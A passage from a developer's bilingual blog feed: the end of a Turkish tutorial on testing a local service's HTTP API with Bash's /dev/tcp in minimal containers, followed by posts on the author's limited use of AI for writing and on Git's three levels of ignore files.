class="m">3</span>&lt;&gt;/dev/tcp/service/8642 $<span class="w"> </span><span class="nb">printf</span><span class="w"> </span><span class="s1">'GET /v1/models HTTP/1.1\r\nHost: service\r\nAuthorization: Bearer %s\r\nConnection: close\r\n\r\n'</span><span class="w"> </span><span class="s2">"</span><span class="nv">$API_KEY</span><span class="s2">"</span><span class="w"> </span>&gt;<span class="p">&amp;</span><span class="m">3</span> $<span class="w"> </span>cat<span class="w"> </span>&lt;<span class="p">&amp;</span><span class="m">3</span> </code></pre></div> <p>Dikkat etmeniz gereken en kritik nokta, her HTTP ba&scedil;l&inodot;&gbreve;&inodot;n&inodot;n sonunun <code>\r\n</code> (sat&inodot;r ba&scedil;&inodot; ve yeni sat&inodot;r) ile bitmesi ve istek g&ouml;vdesinin bitti&gbreve;ini sunucuya bildirmek i&ccedil;in en sonda &ccedil;ift <code>\r\n\r\n</code> b&inodot;rak&inodot;lmas&inodot;d&inodot;r.</p> <hr/> <h2 id="devtcp-nedir-nasl-calsr">🧠 /dev/tcp Nedir, Nas&inodot;l &Ccedil;al&inodot;&scedil;&inodot;r?<a class="headerlink" href="#devtcp-nedir-nasl-calsr" title="Permanent link">#</a></h2> <p>Burada dikkatli g&ouml;zlerden ka&ccedil;mayacak bir detay var: Linux dosya sisteminde <code>/dev/tcp</code> diye bir dizin ya da dosya bulunmaz. Terminalde <code>ls /dev/tcp</code> yazarsan&inodot;z sistem size dosya bulunamad&inodot; hatas&inodot; verecektir. </p> <p>&Ccedil;&uuml;nk&uuml; <code>/dev/tcp/host/port</code> yolu ger&ccedil;ek bir dosya de&gbreve;il, Bash'in kendi i&ccedil;inde tan&inodot;d&inodot;&gbreve;&inodot; ve &ouml;zel olarak yakalad&inodot;&gbreve;&inodot; sanal bir y&ouml;nlendirmedir.<sup id="fnref:1"><a class="footnote-ref" href="#fn:1">1</a></sup> Bash bu &ouml;zel dizgeyi g&ouml;rd&uuml;&gbreve;&uuml;nde diskte bir dosya aramak yerine arka planda <code>connect(2)</code> sistem &ccedil;a&gbreve;r&inodot;s&inodot;n&inodot; tetikleyerek ilgili IP ve porta do&gbreve;rudan TCP ba&gbreve;lant&inodot;s&inodot; kurar.</p> <div class="admonition warning"> <p class="admonition-title">Kritik Detay: Connection: close Ba&scedil;l&inodot;&gbreve;&inodot; &Scedil;artt&inodot;r! ⚠️</p> <p>HTTP/1.1 protokol&uuml;nde varsay&inodot;lan olarak ba&gbreve;lant&inodot;lar a&ccedil;&inodot;k tutulur (keep-alive).<sup id="fnref:2"><a class="footnote-ref" href="#fn:2">2</a></sup> E&gbreve;er iste&gbreve;e <code>Connection: close</code> ba&scedil;l&inodot;&gbreve;&inodot;n&inodot; eklemezseniz, kar&scedil;&inodot;daki sunucu yan&inodot;t&inodot; g&ouml;nderdikten sonra ba&gbreve;lant&inodot;y&inodot; kapatmaz. Bu durumda <code>cat &lt;&amp;3</code> komutu sonsuza kadar yeni veri bekleyerek terminali kilitleyecektir. Bunu &ouml;nlemek i&ccedil;in ba&gbreve;lant&inodot;n&inodot;n kapanmas&inodot;n&inodot; a&ccedil;&inodot;k&ccedil;a istemeliyiz.</p> </div> <div class="admonition note"> <p class="admonition-title">S&inodot;n&inodot;rland&inodot;rma: TLS (HTTPS) Deste&gbreve;i Yoktur 🔒</p> <p>Bu sanal ayg&inodot;t sadece ham (plaintext) TCP soketleri a&ccedil;ar. Yani <code>https://</code> ile ba&scedil;layan SSL/TLS &scedil;ifreli ba&gbreve;lant&inodot;lar&inodot; bu y&ouml;ntemle do&gbreve;rudan test edemezsiniz; &ccedil;&uuml;nk&uuml; el s&inodot;k&inodot;&scedil;ma (handshake) i&scedil;lemlerini ger&ccedil;ekle&scedil;tirecek bir kriptografi katman&inodot; bulunmaz.</p> </div> <div class="admonition note"> <p class="admonition-title">POSIX Standard&inodot; De&gbreve;ildir ⚙️</p> <p>Bu &ouml;zellik Bash'e &ouml;zeldir. Debian'&inodot;n varsay&inodot;lan kabu&gbreve;u olan <code>dash</code> (<code>/bin/sh</code>) veya <code>zsh</code> &uuml;zerinde &ccedil;al&inodot;&scedil;maz. Bu y&uuml;zden yazd&inodot;&gbreve;&inodot;n&inodot;z scriptlerin en ba&scedil;&inodot;na <code>#!/bin/bash</code> koydu&gbreve;unuzdan emin olmal&inodot;s&inodot;n&inodot;z dostum.</p> </div> <p>Konteynerleri g&uuml;venli k&inodot;lmak ve boyutlar&inodot;n&inodot; k&uuml;&ccedil;&uuml;ltmek i&ccedil;in gereksiz t&uuml;m ara&ccedil;lar&inodot; d&inodot;&scedil;ar&inodot;da b&inodot;rakmak harika bir DevOps prati&gbreve;idir. Ancak bu minimal ortamlarda s&inodot;k&inodot;&scedil;&inodot;p kald&inodot;&gbreve;&inodot;n&inodot;zda, Bash'in bu gizli yetene&gbreve;i sayesinde hi&ccedil;bir paket y&uuml;klemeden servislerinizin durumunu h&inodot;zl&inodot;ca test edebilirsiniz.</p> <h2 id="ilgili-yazlar">🔗 &Idot;lgili Yaz&inodot;lar<a class="headerlink" href="#ilgili-yazlar" title="Permanent link">#</a></h2> <ul> <li><a href="/docker-node-js-root-olmadan-calistirmak/">Docker'da Node.js Konteynerlerini Root Olmadan &Ccedil;al&inodot;&scedil;t&inodot;rmak</a></li> <li><a href="/docker-imaj-boyutu-kucultme-rehberi/">&Scedil;i&scedil;ko Docker &Idot;majlar&inodot;na Diyet: 1.2 GB'tan 78 MB'a Yolculuk</a></li> </ul> <div class="footnote"> <hr/> <ol> <li id="fn:1"> <p>Bash'in derleme a&scedil;amas&inodot;nda <code>--enable-net-redirections</code> parametresi ile aktif edilen a&gbreve; y&ouml;nlendirme &ouml;zelli&gbreve;idir.&nbsp;<a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text">&larrhk;</a></p> </li> <li id="fn:2"> <p>HTTP/1.1 protokol&uuml;nde TCP ba&gbreve;lant&inodot;s&inodot;n&inodot;n her istekten sonra kapat&inodot;lmay&inodot;p a&ccedil;&inodot;k tutulmas&inodot; kural&inodot;d&inodot;r.&nbsp;<a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text">&larrhk;</a></p> </li> </ol> </div>2026-06-26T03:00:00+03:002026-06-26T03:00:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2026-06-26:/en/bu-blogdaki-yazilari-yapay-zeka-mi-yaziyor/

<p>I share my thoughts on AI authorship, coding assistants, and the unspoken 'social contract' between writers and readers.</p>

<p>While sipping my coffee and reading my old articles, I noticed something. We've spent so many years dealing with tech, code, and foreign docs that the structure of our sentences got ruined. It's like we ended up with a weird dialect of Turkish that only we developers understand, sounding like robots from sci-fi movies. This is exactly where I use my beloved AI (LLMs) as an editor&mdash;to fix my broken Turkish and build fluent sentences that won't bore you to death. But let's start by answering the big elephant in the room:</p> <p>Is AI writing the articles on this blog?</p> <p><strong>No.</strong></p> <p>Not a single piece of human-written text on this blog was generated by AI, and I have absolutely no intention of changing that. All those weird grammatical errors, false assumptions, typos, and annoying phrasing belong entirely to me.</p> <hr/> <h2 id="the-social-contract-with-the-reader">🤝 The "Social Contract" with the Reader<a class="headerlink" href="#the-social-contract-with-the-reader" title="Permanent link">#</a></h2> <p>I don't use large language models directly to write articles. Neither on this blog nor in my professional work.</p> <p>That's because making people read raw AI-generated text feels like a breach of that invisible social contract<sup id="fnref:1"><a class="footnote-ref" href="#fn:1">1</a></sup> between us. When I publish a piece under my name, I want you to know that I actually understand the topic and stand by my words. Showing respect to your time and effort is the only way to do it.</p> <p>Pumping pages of filler text using AI just to inflate the word count and dumping it in front of readers is like inviting a friend over for coffee and playing them a tape recording of yourself instead of talking.</p> <p>If I'm going to make AI write about a topic and send it to you, and you're going to use another AI to summarize it, what are we even doing here? Instead of that, I would rather give you the direct cues to research the topic yourself with your own AI. That saves you a lot of time.</p> <p>Personally, I value function over form in professional life too. If you have a half-page idea, just give me that half-page, my friend. Don't fluff it up with Claude or ChatGPT to serve me a five-page report. If I want to know what AI thinks, I'll go and ask it myself. Besides, I'd get a much more personalized answer tuned to my own context that way!</p> <hr/> <h2 id="why-writing-code-and-writing-articles-are-different">💻 Why Writing Code and Writing Articles Are Different<a class="headerlink" href="#why-writing-code-and-writing-articles-are-different" title="Permanent link">#</a></h2> <p>I draw a hard line with AI when it comes to writing articles, but things change when coding. Of course, I don't blindly hand over my projects' or this blog's code to AI to fill it with temporary patches written via "vibe-coding" that I don't even understand. I design the architecture, logic, and every line of code myself. AI here acts merely as a smart assistant speeding things up. (If you want to set up your own coding assistant and work with local models, you can check out my guide on <a href="/en/yerel-ai-kurulum-rehberi-lm-studio-vs-code/">Local AI Setup Guide (LM Studio &amp; VS Code)</a>.)</p> <p>So, why are writing code and writing articles different? The core goal of code is to give instructions to a computer; once the logic is solid and works, the process runs. But the purpose of writing is to connect with another human being and share ideas. Having AI write raw text ruins the sincerity between us, whereas using a coding assistant is just a technical tool making our lives easier.</p> <hr/> <h2 id="link-translators-and-ad-hunters">🚫 Link Translators and Ad Hunters<a class="headerlink" href="#link-translators-and-ad-hunters" title="Permanent link">#</a></h2> <p>I use AI in writing strictly as an editor and critic. It is a fantastic helper for cleaning up broken sentences and fixing typos. But I have never seen AI as a tool to just "generate content." (You can also check out my post on <a href="/en/ai-detector-sacmaliklari/">AI Detector Nonsense</a> where I discuss the inconsistency of these detection tools.)</p> <p>I never ask AI to write about topics I don't care about or find interesting. I have no interest in grabbing every technical link on the web, running it through AI for a quick translation, and stuffing it with ads for easy money. Every word on this blog carries the mark of genuine curiosity, sleepless nights, and tinkering with systems.</p> <p>We love AI and place it at the center of our lives as an assistant that makes things easier; but to preserve that sincere and human bond with the reader, we will always keep the pen in our own hands.</p> <div class="footnote"> <hr/> <ol> <li id="fn:1"> <p>The unwritten social agreement between the author and the reader, built on mutual respect for time and effort.&nbsp;<a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text">&larrhk;</a></p> </li> </ol> </div>2026-06-26T03:00:00+03:002026-06-26T03:00:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2026-06-26:/bu-blogdaki-yazilari-yapay-zeka-mi-yaziyor/

<p>Yapay zekanın yazarlık, kodlama ve okuyucuyla kurduğumuz o gizli 'sosyal kontrat' üzerindeki etkilerini kendi deneyimlerimle ele alıyorum.</p>

<p>Kahvemi yudumlarken eski yaz&inodot;lar&inodot;m&inodot; okudu&gbreve;umda bir &scedil;ey fark ettim. Y&inodot;llarca teknolojiyle, kodlarla, yabanc&inodot; kaynaklarla o kadar i&ccedil;li d&inodot;&scedil;l&inodot; olmu&scedil;uz ki; c&uuml;mlelerimizin yap&inodot;s&inodot; bozulmu&scedil;, sanki filmlerdeki robotlar gibi sadece kendi aram&inodot;zda anla&scedil;t&inodot;&gbreve;&inodot;m&inodot;z garip bir T&uuml;rk&ccedil;e ortaya &ccedil;&inodot;km&inodot;&scedil;. &Idot;&scedil;te tam bu noktada, o &ccedil;ok sevdi&gbreve;im yapay zekay&inodot; (LLM'leri) kendi bozuk T&uuml;rk&ccedil;emi toparlamak, okuyucuyu s&inodot;kmayacak ak&inodot;c&inodot; c&uuml;mleler kurmak i&ccedil;in bir edit&ouml;r gibi kullan&inodot;yorum. Ama kafalardaki o b&uuml;y&uuml;k soruyu do&gbreve;rudan yan&inodot;tlayarak ba&scedil;layal&inodot;m:</p> <p>Bu blogdaki yaz&inodot;lar&inodot; yapay zeka m&inodot; yaz&inodot;yor?</p> <p><strong>Hay&inodot;r.</strong></p> <p>Bu blogda okudu&gbreve;unuz hi&ccedil;bir insan yap&inodot;m&inodot; metin yapay zekaya yazd&inodot;r&inodot;lmad&inodot; ve bunu de&gbreve;i&scedil;tirmeye de hi&ccedil; niyetim yok. Metinlerdeki t&uuml;m o garip dil bilgisi hatalar&inodot;, yanl&inodot;&scedil; varsay&inodot;mlar, yaz&inodot;m hatalar&inodot; ve can s&inodot;k&inodot;c&inodot; anlat&inodot;m tarz&inodot; tamamen bana ait. </p> <hr/> <h2 id="okuyucu-ile-kurulan-sosyal-kontrat">🤝 Okuyucu ile Kurulan "Sosyal Kontrat"<a class="headerlink" href="#okuyucu-ile-kurulan-sosyal-kontrat" title="Permanent link">#</a></h2> <p>Yaz&inodot; yazmak i&ccedil;in b&uuml;y&uuml;k dil modellerini do&gbreve;rudan kullanm&inodot;yorum. Ne bu blogda ne de profesyonel i&scedil; hayat&inodot;mda. </p> <p>&Ccedil;&uuml;nk&uuml; insanlara yapay zeka taraf&inodot;ndan &uuml;retilmi&scedil; ham metinleri okutmaya &ccedil;al&inodot;&scedil;man&inodot;n, aram&inodot;zdaki o g&ouml;r&uuml;nmez sosyal kontrat&inodot;<sup id="fnref:1"><a class="footnote-ref" href="#fn:1">1</a></sup> ihlal etti&gbreve;ini d&uuml;&scedil;&uuml;n&uuml;yorum. Kendi ismim alt&inodot;nda bir yaz&inodot; yay&inodot;nlad&inodot;&gbreve;&inodot;mda, okuyucunun o konuyu ger&ccedil;ekten anlad&inodot;&gbreve;&inodot;m&inodot; ve yaz&inodot;y&inodot; sahiplendi&gbreve;imi bilmesini isterim. Onun zaman&inodot;na ve eme&gbreve;ine sayg&inodot; duydu&gbreve;umu g&ouml;stermenin tek yolu budur. </p> <p>S&inodot;rf kelime say&inodot;s&inodot; arts&inodot;n diye yapay zekaya sayfalarca metin doldurtup insanlara sunmak, bir arkada&scedil;&inodot;n&inodot; kahve i&ccedil;meye &ccedil;a&gbreve;&inodot;r&inodot;p onun &ouml;n&uuml;ne banttan kaydedilmi&scedil; bir konu&scedil;ma dinletmeye benzer. </p> <p>E&gbreve;er ben bir konuyu yapay zekaya yazd&inodot;r&inodot;p sana g&ouml;ndereceksem, sen de gidip onu ba&scedil;ka bir yapay zekaya &ouml;zetletip okuyacaksan, g&uuml;n sonunda ne elde etmi&scedil; oluyoruz? Bunun yerine sana do&gbreve;rudan o konuyu ara&scedil;t&inodot;rman i&ccedil;in gereken ipucunu verir, kendi yapay zekan&inodot;n ba&scedil;&inodot;nda konuyu ara&scedil;t&inodot;rmana izin veririm. Bu, senin zaman&inodot;n&inodot; &ccedil;ok daha verimli kullanman&inodot; sa&gbreve;lar.</p> <p>Kendi ad&inodot;ma i&scedil; hayat&inodot;nda da bi&ccedil;imden ziyade i&scedil;leve &ouml;nem veririm. E&gbreve;er yar&inodot;m sayfal&inodot;k bir fikrin varsa, bana o yar&inodot;m sayfay&inodot; ver dostum. Alt&inodot;n&inodot; Claude veya ChatGPT ile doldurup bana be&scedil; sayfal&inodot;k bir rapor sunma. E&gbreve;er yapay zekan&inodot;n fikrini merak edersem, gider ona kendim sorar&inodot;m. &Uuml;stelik kendi ba&gbreve;lam&inodot;mla &ccedil;ok daha ki&scedil;iselle&scedil;tirilmi&scedil; bir cevap al&inodot;r&inodot;m!</p> <hr/> <h2 id="kod-yazmak-ve-yaz-yazmak-neden-farkl">💻 Kod Yazmak ve Yaz&inodot; Yazmak Neden Farkl&inodot;?<a class="headerlink" href="#kod-yazmak-ve-yaz-yazmak-neden-farkl" title="Permanent link">#</a></h2> <p>Yaz&inodot; yazarken yapay zekaya s&inodot;n&inodot;r &ccedil;iziyorum ama kod yazarken i&scedil;ler de&gbreve;i&scedil;iyor. Tabii ki projelerimdeki veya bu blogdaki kodlar&inodot; k&ouml;r&uuml; k&ouml;r&uuml;ne yapay zekaya teslim edip, ne oldu&gbreve;unu anlamad&inodot;&gbreve;&inodot;m deneme-yan&inodot;lma (vibe-coding) y&ouml;ntemiyle yaz&inodot;lm&inodot;&scedil; ge&ccedil;ici yamalarla doldurmuyorum. Kodun mimarisini, mant&inodot;&gbreve;&inodot;n&inodot; ve her sat&inodot;r&inodot;n&inodot; kendim tasarl&inodot;yorum. Yapay zeka burada benim i&ccedil;in sadece i&scedil;leri h&inodot;zland&inodot;ran ak&inodot;ll&inodot; bir asistan. (E&gbreve;er kendi kod asistan&inodot;n&inodot;z&inodot; kurup yerel modellerle &ccedil;al&inodot;&scedil;mak isterseniz, <a href="/yerel-ai-kurulum-rehberi-lm-studio-vs-code/">Yerel AI Kurulum Rehberi (LM Studio &amp; VS Code)</a> rehberime g&ouml;z atabilirsiniz.)</p> <p>Peki kod yazmakla yaz&inodot; yazmak neden farkl&inodot;? Kodun as&inodot;l amac&inodot; bilgisayara komut vermektir; mant&inodot;k do&gbreve;ru kurulup &ccedil;al&inodot;&scedil;t&inodot;ktan sonra arka plandaki s&uuml;re&ccedil; i&scedil;ler. Ancak yaz&inodot;n&inodot;n amac&inodot; do&gbreve;rudan insana dokunmak, onunla fikir payla&scedil;makt&inodot;r. Yaz&inodot;da yapay zekaya ham metinler yazd&inodot;rmak aram&inodot;zdaki samimiyeti zedelerken, kod yazarken asistan kullanmak sadece i&scedil;imizi kolayla&scedil;t&inodot;ran teknik bir destektir.</p> <hr/> <h2 id="link-cevirmenligi-ve-reklam-avclg">🚫 Link &Ccedil;evirmenli&gbreve;i ve Reklam Avc&inodot;l&inodot;&gbreve;&inodot;<a class="headerlink" href="#link-cevirmenligi-ve-reklam-avclg" title="Permanent link">#</a></h2> <p>Yapay zekay&inodot; yaz&inodot; yazarken sadece bir edit&ouml;r ve ele&scedil;tirmen olarak kullan&inodot;yorum. Bozuk c&uuml;mleleri toparlamak, imla hatalar&inodot;n&inodot; gidermek i&ccedil;in harika bir yard&inodot;mc&inodot;. Ancak yapay zekay&inodot; hi&ccedil;bir zaman sadece "i&ccedil;erik &uuml;retmek" i&ccedil;in bir ara&ccedil; olarak g&ouml;rmedim. (Hatta bu konudaki tespit ara&ccedil;lar&inodot;n&inodot;n tutars&inodot;zl&inodot;&gbreve;&inodot;na de&gbreve;indi&gbreve;im <a href="/ai-detector-sacmaliklari/">Yapay Zeka Dedekt&ouml;r&uuml; Sa&ccedil;mal&inodot;klar&inodot;</a> yaz&inodot;ma da bakabilirsiniz.)</p> <p>&Idot;lgilenmedi&gbreve;im, merak etmedi&gbreve;im hi&ccedil;bir alanda yapay zekaya yaz&inodot; yazd&inodot;rm&inodot;yorum. &Idot;nternette g&ouml;rd&uuml;&gbreve;&uuml;m her teknik linki al&inodot;p yapay zekayla alelacele T&uuml;rk&ccedil;e'ye &ccedil;evirip, araya reklamlar serpi&scedil;tirerek kolay yoldan para kazanma gibi bir derdim yok. Bu blogdaki her kelime, arkas&inodot;nda ger&ccedil;ek bir merak&inodot;n, uykusuz kal&inodot;nan gecelerin ve kurcalanan sistemlerin izini ta&scedil;&inodot;r.</p> <p>Yapay zekay&inodot; &ccedil;ok seviyoruz, hayat&inodot;m&inodot;z&inodot; kolayla&scedil;t&inodot;ran bir asistan olarak ba&scedil; k&ouml;&scedil;eye koyuyoruz; ama okuyucuyla aram&inodot;zdaki o samimi ve insani ba&gbreve;&inodot; korumak ad&inodot;na kalemi her zaman kendi elimizde tutmaya devam edece&gbreve;iz.</p> <div class="footnote"> <hr/> <ol> <li id="fn:1"> <p>Yazar ile okuyucu aras&inodot;ndaki, kar&scedil;&inodot;l&inodot;kl&inodot; zaman ve eme&gbreve;e sayg&inodot; &uuml;zerine kurulu yaz&inodot;l&inodot; olmayan toplumsal anla&scedil;mad&inodot;r.&nbsp;<a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text">&larrhk;</a></p> </li> </ol> </div>2026-06-26T02:50:00+03:002026-06-26T02:50:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2026-06-26:/en/git-sadece-gitignore-degil-dosya-yok-sayma/

<p>Did you know that ignoring files in Git isn't limited to just .gitignore? We discuss project-specific and global file ignoring methods.</p>

<p>Over the weekend, while cleaning up the commit history of my old open-source projects, I felt my face turn red. Years ago, I had accidentally pushed scratch notes, temporary files like 'todo.txt', and local debug scripts that only run on my computer. I hadn't wanted to litter the shared <code>.gitignore</code> file of the project with my personal notes just to avoid bothering other developers in the team, but at the end of the day, everything was exposed. I am sure this has happened to most of us.</p> <p>If you've been coding with Git for years and think the only way to ignore files is throwing a <code>.gitignore</code> file into the root directory of your project, you're not alone. However, Git offers three different levels for ignoring files<sup id="fnref:1"><a class="footnote-ref" href="#fn:1">1</a></sup>:</p> <ol> <li>Shared level with the project: <code>.gitignore</code></li> <li>Project-specific but local (unshared) level: <code>.git/info/exclude</code></li> <li>Machine-wide (global) level: <code>~/.config/git/ignore</code></li> </ol> <p>Polluting a shared <code>.gitignore</code> file with temporary files that only exist on your machine is like putting your personal shoe rack right at the building's common entrance door. That's why, my friend, today we will talk about these secret chambers of Git and where we should store which files.</p> <hr/> <h2 id="1-the-classic-method-gitignore">📂 1. The Classic Method: <code>.gitignore</code><a class="headerlink" href="#1-the-classic-method-gitignore" title="Permanent link">#</a></h2> <p>That famous file living in the root directory of the project, which we all know. This file is included in Git history, committed, and shared with everyone cloning the repo.</p> <ul> <li><strong>When to use:</strong> For files common to all developers in the project. For example: <code>node_modules/</code>, Python's <code>__pycache__/</code> directory, compiled outputs (<code>dist/</code>, <code>build/</code>), or IDE config directories (<code>.vscode/</code>, <code>.idea/</code>).</li> </ul> <div class="admonition note"> <p class="admonition-title">Important Note: Tracked Files ⚠️</p> <p>Git's ignore rules only apply to files that are not yet tracked (untracked).<sup id="fnref2:1"><a class="footnote-ref" href="#fn:1">1</a></sup> If you committed a file before, Git will continue to track it even if you add it to <code>.gitignore</code> or the <code>exclude</code> file. To untrack these files, you need to use the <code>git rm --cached &lt;file_path&gt;</code> command.</p> </div> <hr/> <h2 id="2-project-specific-secret-ignore-gitinfoexclude">🔒 2. Project-Specific Secret Ignore: <code>.git/info/exclude</code><a class="headerlink" href="#2-project-specific-secret-ignore-gitinfoexclude" title="Permanent link">#</a></h2> <p>Inside every Git repository, there is a hidden <code>.git</code> folder. The <code>info/exclude</code> file under this directory is a local ignore list that is specific to that project but is <strong>never included</strong> in Git history.</p> <ul> <li><strong>When to use:</strong> For files that are unique to your own workflow and do not concern other members of the team. For example: temporary development notes (<code>notes.txt</code>), scratch scripts you write to test things but don't want to commit (<code>try.py</code>), or analysis files used only in your local environment.</li> <li><strong>How to use:</strong> Open <code>.git/info/exclude</code> with any text editor and write the file names you want to ignore line by line, just like you would write in a standard <code>.gitignore</code>.</li> </ul> <hr/> <h2 id="3-machine-wide-ignore-configgitignore">🌍 3. Machine-Wide Ignore: <code>~/.config/git/ignore</code><a class="headerlink" href="#3-machine-wide-ignore-configgitignore" title="Permanent link">#</a></h2> <p>Located under your user home directory in your operating system (<code>~/.config/git/ignore</code>), this file is a global ignore list that applies to <strong>all Git projects</strong> opened on your computer.</p> <ul> <li><strong>When to use:</strong> For garbage files created in every project by the OS or the editors you use. For example: <code>.DS_Store</code> files if you are on macOS, <code>Thumbs.db</code> on Windows, or OS-level temp directories. Instead of writing these in every single project's <code>.gitignore</code> file, you can write them here once and be done with it for life.</li> <li><strong>Defining a Custom Path:</strong> If you want to keep this global file in another location (for instance, directly in your home directory as <code>.gitignore_global</code>), you can update Git's configuration parameter<sup id="fnref:2"><a class="footnote-ref" href="#fn:2">2</a></sup> with the following command:</li> </ul> <div class="highlight"><pre><span></span><code>$<span class="w"> </span>git<span class="w"> </span>config<span class="w"> </span>--global<span class="w"> </span>core.excludesFile<span class="w"> </span>~/.gitignore_global </code></pre></div> <ul> <li>If you want to return to default settings:</li> </ul> <div class="highlight"><pre><span></span><code>$<span class="w"> </span>git<span class="w"> </span>config<span class="w"> </span>--global<span class="w"> </span>--unset<span class="w"> </span>core.excludesFile </code></pre></div> <hr/> <h2 id="finding-out-where-a-file-is-blocked-from">🔍 Finding Out Where a File is Blocked From<a class="headerlink" href="#finding-out-where-a-file-is-blocked-from" title="Permanent link">#</a></h2> <p>When we distribute ignored files to these three different places, after a while, you might ask, "Hey, why isn't this file showing up in Git, which rule is blocking it?" Git offers a fantastic command to clear up this confusion: <code>git check-ignore -v &lt;file_path&gt;</code></p> <p>For example, let's query why <code>.DS_Store</code> is not appearing in your project:</p> <h3 id="scenario-a-if-the-projects-gitignore-is-blocking-it">Scenario A: If the project's <code>.gitignore</code> is blocking it:<a class="headerlink" href="#scenario-a-if-the-projects-gitignore-is-blocking-it" title="Permanent link">#</a></h3> <div class="highlight"><pre><span></span><code>$<span class="w"> </span>git<span class="w"> </span>check-ignore<span class="w"> </span>-v<span class="w"> </span>.DS_Store .gitignore:1:.DS_Store<span class="w"> </span>.DS_Store </code></pre></div> <p><em>(The output clearly states it's blocked due to line 1 of <code>.gitignore</code>).</em></p> <h3 id="scenario-b-if-the-projects-local-gitinfoexclude-is-blocking-it">Scenario B: If the project's local <code>.git/info/exclude</code> is blocking it:<a class="headerlink" href="#scenario-b-if-the-projects-local-gitinfoexclude-is-blocking-it" title="Permanent link">#</a></h3> <div class="highlight"><pre><span></span><code>$<span class="w"> </span>git<span class="w"> </span>check-ignore<span class="w"> </span>-v<span class="w"> </span>.DS_Store .git/info/exclude:7:.DS_Store<span class="w"> </span>.DS_Store </code></pre></div> <h3 id="scenario-c-if-the-global-configgitignore-is-blocking-it">Scenario C: If the global <code>~/.config/git/ignore</code> is blocking it:<a class="headerlink" href="#scenario-c-if-the-global-configgitignore-is-blocking-it" title="Permanent link">#</a></h3> <div class="highlight"><pre><span></span><code>$<span class="w"> </span>git<span class="w"> </span>check-ignore<span class="w"> </span>-v<span class="w"> </span>.DS_Store /home/yucel/.config/git/ignore:2:.DS_Store<span class="w"> </span>.DS_Store </code></pre></div> <p>If the file name you enter is not blocked by any rules, the command will return no output.</p> <p>All in all, using these three levels properly to avoid polluting shared repos with personal files and to prevent "accidentally pushed" mishaps is a professional developer reflex.</p> <h2 id="related-posts_1">🔗 Related Posts<a class="headerlink" href="#related-posts" title="Permanent link">#</a></h2> <ul> <li><a href="/en/git-commit-geri-donme-cherry-pick/">Git Undo Commit and Cherry-Pick</a></li> <li><a href="/en/git-gpg-imzali-commit-vscode-arch/">Git GPG Signed Commits, VS Code &amp; Arch Linux</a></li> </ul> <div class="footnote"> <hr/> <ol> <li id="fn:1"> <p>Applies to files that Git is not tracking yet (untracked). Tracked files continue to be watched even if added to the ignore list.&nbsp;<a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text">&larrhk;</a><a class="footnote-backref" href="#fnref2:1" title="Jump back to footnote 1 in the text">&larrhk;</a></p> </li> <li id="fn:2"> <p>The configuration parameter that sets the file path Git will use as the global ignore list.&nbsp;<a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text">&larrhk;</a></p> </li> </ol> </div>2026-06-26T02:50:00+03:002026-06-26T02:50:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2026-06-26:/git-sadece-gitignore-degil-dosya-yok-sayma/

<p>Git'te dosyaları yok saymanın sadece .gitignore ile sınırlı olmadığını biliyor muydunuz? Proje özelinde ve küresel düzeyde dosya yok sayma yöntemleri.</p>

<p>Hafta sonu eski a&ccedil;&inodot;k kaynakl&inodot; projelerimin commit ge&ccedil;mi&scedil;ini temizlerken birden y&uuml;z&uuml;m&uuml;n k&inodot;zard&inodot;&gbreve;&inodot;n&inodot; hissettim. Y&inodot;llar &ouml;nce projede ald&inodot;&gbreve;&inodot;m karalama notlar&inodot;n&inodot;, "todo.txt" gibi ge&ccedil;ici dosyalar&inodot; ve sadece kendi bilgisayar&inodot;mda &ccedil;al&inodot;&scedil;an debug scriptlerini yanl&inodot;&scedil;l&inodot;kla pushlam&inodot;&scedil;&inodot;m. Tak&inodot;mdaki di&gbreve;er geli&scedil;tiricileri rahats&inodot;z etmemek ad&inodot;na projenin ortak <code>.gitignore</code> dosyas&inodot;n&inodot; kendi ki&scedil;isel notlar&inodot;mla doldurmak istememi&scedil;tim ama g&uuml;n sonunda her &scedil;ey kabak gibi ortada kalm&inodot;&scedil;t&inodot;. Bu durum eminim &ccedil;o&gbreve;umuzun ba&scedil;&inodot;na gelmi&scedil;tir.</p> <p>Git ile y&inodot;llard&inodot;r kod yaz&inodot;p, dosyalar&inodot; yok sayman&inodot;n tek yolunun projenin k&ouml;k dizinine bir <code>.gitignore</code> dosyas&inodot; f&inodot;rlatmak oldu&gbreve;unu d&uuml;&scedil;&uuml;n&uuml;yorsan&inodot;z yaln&inodot;z de&gbreve;ilsiniz. Ancak Git bize dosyalar&inodot; yok saymak<sup id="fnref:1"><a class="footnote-ref" href="#fn:1">1</a></sup> i&ccedil;in &uuml;&ccedil; farkl&inodot; seviye sunuyor:</p> <ol> <li>Proje ile payla&scedil;&inodot;lan seviye: <code>.gitignore</code></li> <li>Proje &ouml;zelinde ama yerel (payla&scedil;&inodot;lmayan) seviye: <code>.git/info/exclude</code></li> <li>Bilgisayar genelinde (k&uuml;resel) seviye: <code>~/.config/git/ignore</code></li> </ol> <p>Ortak bir <code>.gitignore</code> dosyas&inodot;n&inodot; sadece kendi bilgisayar&inodot;m&inodot;zdaki ge&ccedil;ici dosyalarla kirletmek, apartman&inodot;n ortak giri&scedil; kap&inodot;s&inodot;na kendi &ouml;zel ayakkab&inodot;l&inodot;&gbreve;&inodot;m&inodot;z&inodot; kurmaya benzer. &Idot;&scedil;te bu y&uuml;zden dostum, bug&uuml;n Git'in sundu&gbreve;u bu gizli b&ouml;lmeleri ve hangi dosyay&inodot; nerede saklamam&inodot;z gerekti&gbreve;ini konu&scedil;aca&gbreve;&inodot;z.</p> <hr/> <h2 id="1-klasik-yontem-gitignore">📂 1. Klasik Y&ouml;ntem: <code>.gitignore</code><a class="headerlink" href="#1-klasik-yontem-gitignore" title="Permanent link">#</a></h2> <p>Hepimizin bildi&gbreve;i, projenin k&ouml;k dizininde ya&scedil;ayan o me&scedil;hur dosya. Bu dosya Git ge&ccedil;mi&scedil;ine dahil edilir, commit edilir ve repoyu klonlayan herkesle payla&scedil;&inodot;l&inodot;r.</p> <ul> <li><strong>Ne zaman 